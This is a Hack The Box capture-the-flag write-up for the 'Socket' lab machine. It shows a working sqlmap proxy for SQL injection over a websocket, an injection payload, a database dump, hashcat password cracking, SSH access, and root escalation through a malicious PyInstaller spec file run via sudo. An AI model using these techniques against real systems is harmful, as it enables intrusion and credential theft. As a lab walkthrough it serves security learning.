Hack The Box: Socket Writeup
Socket is a Hack The Box Linux machine that hosts an API vulnerable to SQL injections over WebSocket. The database dump contained the real name of staff members and a password hash. Cracking the password hash granted access to a sudo user on the system whose rights allowed running pyinstaller as root and thus escalating privileges.
Walkthrough
Scanning the box for the top 1k ports revealed a web and an SSH server listening on the machine:
$ sudo nmap --open 10.10.11.206
<SNIP>
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 7.42 seconds
The web server’s default vhost redirected the requests to qreader.htb
:
$ curl -I 10.10.11.206
HTTP/1.1 301 Moved Permanently
<SNIP>
Location: http://qreader.htb/
Content-Type: text/html; charset=iso-8859-1
In order to resolve the name to the box’s IP address, add the vhost and the box’s name to the hosts file:
$ echo "10.10.11.206 socket.htb qreader.htb" | sudo tee -a /etc/hosts
Browsing to http://qreader.htb
then showed a page related to QR code converters. The web page allowed uploading and reading QR codes, and creating QR codes from text:
The page also hosted binary clients. They were available for Windows and Linux:
To analyze the binary, I downloaded the Linux version as QReader_lin_v0.0.2.zip
.
Unpacking the archive revealed a binary and a test image:
$ unzip QReader_lin_v0.0.2.zip
Archive: QReader_lin_v0.0.2.zip
creating: app/
inflating: app/qreader
inflating: app/test.png
$ file app/qreader
qreader: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3f71fafa6e2e915b9bed491dd97e1bab785158de, for GNU/Linux 2.6.32, stripped
The client app had a simple design and shared the similarity of creating and reading QR codes:
I tried running strings
on the binary to look for quick wins but did not find anything like authentication data, URLs, or tokens. The string analysis however showed lots of references to Python and WebSocket. It seemed like this is a packaged Python GUI application that uses WebSocket for its client-server communication.
One of the view options of the local app were getting information about the version and updates:
Once clicked, the options displayed an error. It seemed like the application tried to make a request to a server to verify the version or get more information. Sniffing the network traffic while clicking the buttons in the application using Wireshark revealed that the application was trying to access ws.qreader.htb
. Since this domain was not present in the hosts file yet, the local machine tried to ask the local DNS server to resolve the name.
In order to restore the functionality, I added ws.qreader.htb
to the hosts file as well.
Further analyzing the traffic of the version button, revealed that upon clicking the menu items in the about menu triggered websocket requests to ws.qreader.htb:5789
.
The request for the endpoint ws://ws.qreader.htb:5789
was captured as:
{"version": "0.0.2"}
The server responded with:
{"message": {"id": 2, "version": "0.0.2", "released_date": "26/09/2022", "downloads": 720}}
Very interesting! It seems the backend server that handles the version information either served hardcoded details or actually fetched those details from a database.
I then tried to tamper with this endpoint. For this reason, I created a little Python websocket client to interact with the endpoint:
from websocket import create_connection
import json
HOST="ws://ws.qreader.htb:5789"
version = input("version? ")
test = {"version": version}
ws = create_connection(HOST+"/version")
ws.send(json.dumps(test))
result = ws.recv()
print(result)
I saved this to qreader_client.py
and installed the websocket dependency:
mkdir /tmp/qreader && cd /tmp/qreader
python3 -m venv .venv
source .venv/bin/activate
pip install websocket-client
python qreader_client.py
And indeed, the client was functional. I could interact with the endpoint, and it even revealed interesting behaviour for different quotes:
Could this be a SQL injection over a websocket API?
Investigating this question lead me to this [1] blog post.
Summarizing this: It is possible to use sqlmap over websocket but it requires a proxy that forwards the parameter values chosen by sqlmap to the object sent over websocket.
The blog post also contained code for the proxy. I reused the code, but set the websocket server, payload structure and made sure that the payload is used URL-decoded. It did not work with URL-encoded values as they don’t trigger the SQL injection:
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
import json
import urllib.parse
ws_server = "ws://ws.qreader.htb:5789/version"
def send_ws(payload):
ws = create_connection(ws_server)
payload = urllib.parse.unquote(payload)
data = {"version": payload}
ws.send(json.dumps(data))
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
I could then successfully use sqlmap to dump the database with the following command (targeting the proxy):
sqlmap -u http://localhost:8081/?id=1 --batch --risk 3 --level 5 --dump
SQLMap was able to find a SQL injection vulnerability in the version string of the payload object sent to the /version
endpoint on the websocket server:
<SNIP>
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT) Payload: id=1" OR NOT 2439=2439-- ySLI
<SNIP>
SQLMap also dumped the database content. Among the info, there was the dump of the tables answers
and users
:
Database: <current>
Table: answers
[2 entries]
+----+---------------------------------------------------------------------------------------------------------------------------------------------------
----------------------------+---------+-------------+---------------+
| id | answer
| status | answered_by | answered_date |
+----+---------------------------------------------------------------------------------------------------------------------------------------------------
----------------------------+---------+-------------+---------------+
| 1 | Hello Json,\\n\\nAs if now we support PNG formart only. We will be adding JPEG/SVG file formats in our next version.\\n\\nThomas Keller
| PENDING | admin | 17/08/2022 |
| 2 | Hello Mike,\\n\\n We have confirmed a valid problem with handling non-ascii charaters. So we suggest you to stick with ascci printable characters
for now!\\n\\nThomas Keller | PENDING | admin | 25/09/2022 |
+----+---------------------------------------------------------------------------------------------------------------------------------------------------
----------------------------+---------+-------------+---------------+
Database: <current>
Table: users
[1 entry][
+----+-------+----------------------------------+----------+
| id | role | password | username |
+----+-------+----------------------------------+----------+
| 1 | admin | 0c090c365<SNIP> | admin |
+----+-------+----------------------------------+----------+
That’s valuable in two ways:
- the table containing ticket answers contains the names of employees of the service.
- the user table contains a password hash.
I could crack the password hash with hashcat. First, I verified my suspicion that this could be a MD5 hash and then cracked it with hashcat:
└─$ echo "0c090c365<SNIP>" | hashid
Analyzing '0c090c365<SNIP>'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
hashcat -m 0 "0c090c365<SNIP>" /opt/rockyou.txt
hashcat (v6.2.6) starting
<SNIP>
Dictionary cache hit:
* Filename..: /opt/rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384
0c090c365<SNIP>:<SNIP>
<SNIP>
The password was crackable. Since the answers table revealed clear names, I tried different combinations of the first and last name of Thomas Keller to log in via SSH. In fact, the cracked admin password worked for the user tkeller
:
ssh qreader.htb -l tkeller
tkeller@socket:~$ wc -c user.txt
33 user.txt
As one of the first steps to enumerate privileges of the current user on Linux boxes, I like to list available sudo commands:
tkeller@socket:~$ sudo -l
Matching Defaults entries for tkeller on socket:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User tkeller may run the following commands on socket:
(ALL : ALL) NOPASSWD: /usr/local/sbin/build-installer.sh
So there is an entry. Any unintended command in the script can escalate the privileges to root. The script is a convenience script to build the Python application that I downloaded to get the foothold:
#!/bin/bash
if [ $# -ne 2 ] && [[ $1 != 'cleanup' ]]; then
/usr/bin/echo "No enough arguments supplied"
exit 1;
fi
action=$1
name=$2
ext=$(/usr/bin/echo $2 |/usr/bin/awk -F'.' '{ print $(NF) }')
if [[ -L $name ]];then
/usr/bin/echo 'Symlinks are not allowed'
exit 1;
fi
if [[ $action == 'build' ]]; then
if [[ $ext == 'spec' ]] ; then
/usr/bin/rm -r /opt/shared/build /opt/shared/dist 2>/dev/null
/home/svc/.local/bin/pyinstaller $name
/usr/bin/mv ./dist ./build /opt/shared
else
echo "Invalid file format"
exit 1;
fi
<SNIP>
fi
I have snipped the else clauses because they were not relevant for the privilege escalation. As the script states, when running the script with the arguments build XYZ.spec
, it will execute the pyinstaller
binary with the parameter XYZ.spec
. Pyinstaller is a tool to load the dependencies required to run a Python script and package them with the script to ship them as one program.
This sudo script let’s us operate on .spec
files. The documentation by pyinstaller on using .spec
files contains very clear information about potential content of such a file:
The spec file is actually executable Python code. PyInstaller builds the app by executing the contents of the spec file.
In terms of this script, it meant that the contents were executed by pyinstaller running under the root user, granting code execution as root on the box.
To exploit this, I created a small sample that launches an interactive shell as root:
import pty
pty.spawn("/bin/bash")
I saved this to main.spec
, read and executed it using the sudo build script:
tkeller@socket:~$ sudo /usr/local/sbin/build-installer.sh build main.spec
107 INFO: PyInstaller: 5.6.2
108 INFO: Python: 3.10.6
114 INFO: Platform: Linux-5.15.0-67-generic-x86_64-with-glibc2.35
121 INFO: UPX is not available.
root@socket:/home/tkeller# wc -c /root/root.txt
33 /root/root.txt
root@socket:/home/tkeller# id
uid=0(root) gid=0(root) groups=0(root)
root@socket:/home/tkeller#
Et voila, it granted a root shell.
Thank you for reading, and have a fun time with CTFs.
Archived references: